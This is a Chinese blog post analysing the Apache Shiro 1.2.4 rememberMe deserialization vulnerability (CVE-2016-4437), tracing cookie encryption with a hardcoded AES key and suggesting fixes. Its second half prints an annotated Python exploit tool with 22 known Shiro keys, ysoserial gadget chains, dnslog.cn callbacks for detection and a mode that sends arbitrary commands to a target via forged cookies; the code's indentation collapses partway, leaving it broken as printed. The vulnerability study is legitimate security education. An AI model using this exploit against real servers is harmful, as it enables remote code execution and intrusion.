源码分析Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

1.源码与环境配置

下源码

git clone https://github.com/apache/shiro.git  
cd shiro
git checkout shiro-root-1.2.4   //用于在目标实体的不同版本之间进行切换的动作

在shiro\samples\web下的pom.xml加入以下依赖

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <!--  这里需要将jstl设置为1.2 -->
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>
<dependency>
    <groupId>junit</groupId>
    <artifactId>junit</artifactId>
    <version>4.12</version>
    <scope>compile</scope>
</dependency>

shiro组件自然是必须的,junit纯属方便测试

 

 

 

 

image.png

 

 

 

在idea以项目的方式导入刚刚编辑的pom.xml

 

image.png

 

image.png

 

调试需要用到tomcat环境,点击菜单栏RUN-->Debug-->config配置本地tomcat环境

 

image.png

 

将项目导入到tomcat中

image.png

 

2.漏洞分析

为了更好地展示代码,需要把依赖都下载到本地,在设置中勾选如下图两个选项

image.png

然后在右侧菜单栏的maven选项点击重新加载maven按钮,即可把依赖下载到本地

image.png

 

在项目的libraries中定位到org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin,如下图,下个断点

image.png

点击debug之后报错了,端口占用,如下图

image.png

 

解决方法就是修改debug配置的端口

image.png

image.png

再执行一次debug,正常执行

image.png

浏览器弹出登录页面

image.png

使用root用户登录并勾选remember me

image.png

 

可以看到程序停留在断点处

image.png

    public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
        //清理旧的身份验证信息c
        forgetIdentity(subject);

        //生成新的身份验证信息
        if (isRememberMe(token)) {  //如果有勾选remember me
            rememberIdentity(subject, token, info);//生成新的cookie中的RememberMe字段

这段代码主要是用forgetIdentity函数清理旧的验证信息,如果有勾选RememberMe的话就会用rememberIdentity函数来生成新的验证信息

 

rememberIdentity函数下断点继续跟踪,按f7继续跟进

 

跟进到这个函数的地方

image.png

    public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
        PrincipalCollection principals = getIdentityToRemember(subject, authcInfo);//获取身份信息,比如root,并赋值到principals
        rememberIdentity(subject, principals);//继续跟进rememberIdentity
    }

获取身份信息,比如root,并赋值到principals;继续跟进rememberIdentity

 

image.png

    protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
        byte[] bytes = convertPrincipalsToBytes(accountPrincipals);//将账户主体(root)信息转换为字节
        rememberSerializedIdentity(subject, bytes);
    }

这里开始需要对两个函数进行分析:convertPrincipalsToBytes()与rememberSerializedIdentity()

将账户主体(root)信息转换为字节;继续跟进bytes

 

 

2.1 convertPrincipalsToBytes()函数分析

image.png

    protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
        byte[] bytes = serialize(principals);//使用serialize()序列化身份信息(root)
        if (getCipherService() != null) {
            bytes = encrypt(bytes);//加密序列化后的身份信息
        }
        return bytes;
    }

使用serialize()序列化身份信息(root)并赋值到bytes,然后用encrypt()将bytes加密,序列化那一步先略过,重点是加密方式那一步,我们可以跟进查看加密方式

 

image.png

    protected byte[] encrypt(byte[] serialized) {
        byte[] value = serialized;
        CipherService cipherService = getCipherService();   //使用getCipherService()获取加密方式,并赋值到cipherService
        if (cipherService != null) {    //如果cipherService不为空
            ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());    //对序列化的身份信息进行cipherService方式的加密,getEncryptionCipherKey()为加密密钥
            value = byteSource.getBytes();
        }
        return value;
    }

使用getCipherService()获取加密方式,并赋值到cipherService;如果cipherService不为空,则对序列化的身份信息进行cipherService方式的加密,getEncryptionCipherKey()为加密密钥

 

跟进cipherService方式的加密如下图,有AES,CBC,PKCSSPadding

image.png

 

我们跟进getEncryptionCipherKey()加密密钥

image.png

是一个常量:kPH+bIxk5D2deZiIxcaaaA==

 

小结:convertPrincipalsToBytes()就是对身份信息root进行序列化处理,再根据已知密钥(kPH+bIxk5D2deZiIxcaaaA==)进行AES加密

 

2.2 rememberSerializedIdentity()函数分析

回到刚刚的345行rememberIdentity()函数那里,对rememberSerializedIdentity()下断点跟进分析

image.png

    protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

        if (!WebUtils.isHttp(subject)) {
            if (log.isDebugEnabled()) {
                String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet " +
                        "request and response in order to set the rememberMe cookie. Returning immediately and " +
                        "ignoring rememberMe operation.";
                log.debug(msg);
            }
            return;
        }


        HttpServletRequest request = WebUtils.getHttpRequest(subject);
        HttpServletResponse response = WebUtils.getHttpResponse(subject);

        //base 64 encode it and store as a cookie:
        String base64 = Base64.encodeToString(serialized);  //进行base64编码

        Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
        Cookie cookie = new SimpleCookie(template);
        cookie.setValue(base64);    //将base64编码的信息整合到cookie当中
        cookie.saveTo(request, response);
    }

对序列化的信息进行base64编码,将base64编码的信息整合到cookie当中

 

小结:

cookie生成流程大致为:序列化身份信息root-->再根据已知密钥(kPH+bIxk5D2deZiIxcaaaA==)进行AES加密-->base64编码-->生成cookie信息

 

2.3 cookie中rememberme解密过程

org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity处下断点

image.png

f7跟进

image.png

断点跟进rmm.getRememberedPrincipals()函数

image.png

    public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
        PrincipalCollection principals = null;
        try {
            byte[] bytes = getRememberedSerializedIdentity(subjectContext); //提取cookie,并对其进行base64解码
            //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
            if (bytes != null && bytes.length > 0) {
                principals = convertBytesToPrincipals(bytes, subjectContext);
            }   //进行AES解密与反序列化处理
        } catch (RuntimeException re) {
            principals = onRememberedPrincipalFailure(re, subjectContext);
        }

        return principals;
    }

提取cookie,并对其进行base64解码,然后convertBytesToPrincipals()进行AES解密与反序列化处理

 

在convertBytesToPrincipals()处断点跟进

image.png

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes); //AES解密
        }
        return deserialize(bytes);  //反序列化操作
    }

convertBytesToPrincipals()对身份信息进行AES解密与反序列化操作

 

在decrypt()处断点跟进

image.png

与刚刚上面分析的加密流程差不多

 

2.4漏洞修复建议

上面分析到:

cookie生成流程大致为:序列化身份信息root-->再根据已知密钥(kPH+bIxk5D2deZiIxcaaaA==)进行AES加密-->base64编码-->生成cookie信息

 

关键点就在固定的密钥,攻击者可以构造事先反序列化的恶意代码,利用密钥对cookie进行改造,达到攻击目的

 

修复方式:使用随机密钥,或者升级shiro到1.2.5

 

 

2.4、Shiro_EXP工具的分析

 

Shiro_exploit分析过程写注释上了

#! python2.7
import os
import re
import base64
import uuid
import subprocess
import requests
import sys
import json
import time
import random
import argparse
from Crypto.Cipher import AES

JAR_FILE = 'ysoserial.jar'

#整合22个key
CipherKeys = [
    "4AvVhmFLUs0KTA3Kprsdag==",
    "3AvVhmFLUs0KTA3Kprsdag==",
    "2AvVhdsgUs0FSA3SDFAdag==",
    "6ZmI6I2j5Y+R5aSn5ZOlAA==",
    "wGiHplamyXlVB11UXWol8g==",
    "cmVtZW1iZXJNZQAAAAAAAA==",
    "Z3VucwAAAAAAAAAAAAAAAA==",
    "ZnJlc2h6Y24xMjM0NTY3OA==",
    "L7RioUULEFhRyxM7a2R/Yg==",
    "RVZBTk5JR0hUTFlfV0FPVQ==",
    "fCq+/xW488hMTCD+cmJ3aQ==",
    "WkhBTkdYSUFPSEVJX0NBVA==",
    "1QWLxg+NYmxraMoxAXu/Iw==",
    "WcfHGU25gNnTxTlmJMeSpw==",
    "a2VlcE9uR29pbmdBbmRGaQ==",
    "bWluZS1hc3NldC1rZXk6QQ==",
    "5aaC5qKm5oqA5pyvAAAAAA==",
    "kPH+bIxk5D2deZiIxcaaaA==",
    #"ZWvohmPdUsAWT3=KpPqda",
    "r0e3c16IdVkouZgk1TKVMg==",
    "ZUdsaGJuSmxibVI2ZHc9PQ==",
    "U3ByaW5nQmxhZGUAAAAAAA==",
    "LEGEND-CAMPUS-CIPHERKEY=="
    #"kPv59vyqzj00x11LXJZTjJ2UHW48jzHN",
    ]

gadgets = ["JRMPClient","BeanShell1","Clojure","CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Groovy1","Hibernate1","Hibernate2","JSON1","JavassistWeld1","Jython1","MozillaRhino1","MozillaRhino2","Myfaces1","ROME","Spring1","Spring2","Vaadin1","Wicket1"]

session = requests.Session()
def genpayload(params, CipherKey,fp):
    #生成payload模块
    gadget,command = params
    # 判断本地jar文件是否存在
    if not os.path.exists(fp):
        raise Exception('jar file not found')
    #启动一个子进程,并执行命令
    popen = subprocess.Popen(['java','-jar',fp,gadget,command],
                            stdout=subprocess.PIPE)
    #AES加密模块
    BS = AES.block_size
    #print(command)
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    #key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    #生成随机uuid
    iv = uuid.uuid4().bytes
    #结合CipherKey进行base64编码,然后AES加密
    encryptor = AES.new(base64.b64decode(CipherKey), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

def getdomain():
    #调用dnslog网站的获取反弹子域名接口,并尝试连接性
    try :
        ret = session.get("http://www.dnslog.cn/getdomain.php?t="+str(random.randint(100000,999999)),timeout=10).text
    except Exception as e:
        print("getdomain error:" + str(e))
        ret = "error"
        pass
    return ret

def getrecord():
    #获取dnslog反弹结果模块
    try :
        ret = session.get("http://www.dnslog.cn/getrecords.php?t="+str(random.randint(100000,999999)),timeout=10).text
        #print(ret)
    except Exception as e:
        print("getrecord error:" + str(e))
ret = "error"
pass
return ret
def check(url):
# 漏洞探测模块
#对url进行访问协议补充
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
print("checking url:" + url)
#为反弹子域名加上http协议
domain = getdnshost()
if domain:
reversehost = "http://" + domain
#循环CipherKeys中的数组
for CipherKey in CipherKeys:
ret = {"vul":False,"CipherKey":"","url":target}
#结合payload尝试CipherKey
try:
print("try CipherKey :" +CipherKey)
#生成payload
payload = genpayload(("URLDNS",reversehost),CipherKey,JAR_FILE)
print("generator payload done.")
#payload整合到cookie中请求
r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
print("send payload ok.")
for i in range(1,5):
print("checking.....")
time.sleep(2)
temp = getrecord()
if domain in temp:
ret["vul"] = True
ret["CipherKey"] = CipherKey
break
except Exception as e:
print(str(e))
pass
if ret["vul"]:
break
else:
print("get dns host error")
return ret
def exploit(url,gadget,params,CipherKey):
# 漏洞利用模块
# 对url进行访问协议补充
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
try:
payload = genpayload((gadget, params),CipherKey,JAR_FILE)
# payload整合到cookie中请求
r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
print(r.text)
except Exception as e:
print("exploit error:" + str(e))
pass
def getdnshost():
#得到dnslog反弹子域名正常访问的链接
reversehost = ""
try :
domain = getdomain()
if domain=="error":
print("getdomain error")
else:
#reversehost = "http://" +domain
reversehost = domain
#print("got reversehost : " + reversehost)
except:
pass
return reversehost
def detector(url,CipherKey,command):
# 探测gadget模块
result = []
# payload整合到cookie中请求
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
try:
#循环gadgets数组,去头尾空格
for g in gadgets:
g = g.strip()
domain = getdnshost()
if domain:
#gadgets中识别到JRMPClient要在域名后面加上80端口
if g == "JRMPClient":
param = "%s:80" % domain
else:
#在命令中用dnslog子域名替换掉{dnshost}
param = command.replace("{dnshost}",domain)
#整合成最终payload
payload = genpayload((g, param),CipherKey,JAR_FILE)
print(g + " testing.....")
# payload整合到cookie中请求
r = requests.get(target,cookies={'rememberMe': payload.decode()},timeout=10)
#print(r.read())
for i in range(1,5):
#print("checking.....")
time.sleep(2)
temp = getrecord()
#如果dnslog反弹结果中有dnslog反弹子域名
if domain in temp:
ret = g
#ret["CipherKey"] = CipherKey
result.append(ret)
#打印当前gadget
print("found gadget:\t" + g)
break
else:
print("get dns host error")
#break
#print(r.text)
#打印错误
except Exception as e:
print("detector error:" + str(e))
pass
return result
def parser_error(errmsg):
#解析错误模块
print("Usage: python " + sys.argv[0] + " [Options] use -h for help")
sys.exit()
def parse_args():
# parse the arguments
#参数解析模块
parser = argparse.ArgumentParser(epilog="\tExample: \r\npython " + sys.argv[0] + " -u target")
parser.error = parser_error
parser._optionals.title = "OPTIONS"
parser.add_argument('-u', '--url', help="Target url.", default="http://127.0.0.1:8080",required=True)
parser.add_argument('-t', '--type', help='Check or Exploit. Check :1 , Exploit:2 , Find gadget:3', default="1",required=False)
parser.add_argument('-g', '--gadget', help='gadget', default="CommonsCollections2",required=False)
parser.add_argument('-p', '--params', help='gadget params',default="whoami",required=False)
parser.add_argument('-k', '--key', help='CipherKey',default="kPH+bIxk5D2deZiIxcaaaA==",required=False)
return parser.parse_args()
if __name__ == '__main__':
#把url,type,params,key,gadget参数放到parse_args()函数中进行参数解析
args = parse_args()
url = args.url
type = args.type
command = args.params
key = args.key
gadget = args.gadget
#识别用type1,2,3方式运行
if type=="1":
#调用探测模块
r = check(url)
print("\nvulnerable:%s url:%s\tCipherKey:%s\n" %(str(r["vul"]),url,r["CipherKey"]))
elif type=="2":
# 调用漏洞利用模块
exploit(url,gadget,command,key)
print("exploit done.")
elif type=="3":
# 调用gadget探测模块
r = detector(url,key,command)
if r :
print("found gadget:\n")
print(r)
else:
print("invalid type")



 

 

posted @ 2021-05-07 21:36  impulse-  阅读(674)  评论(0)    收藏  举报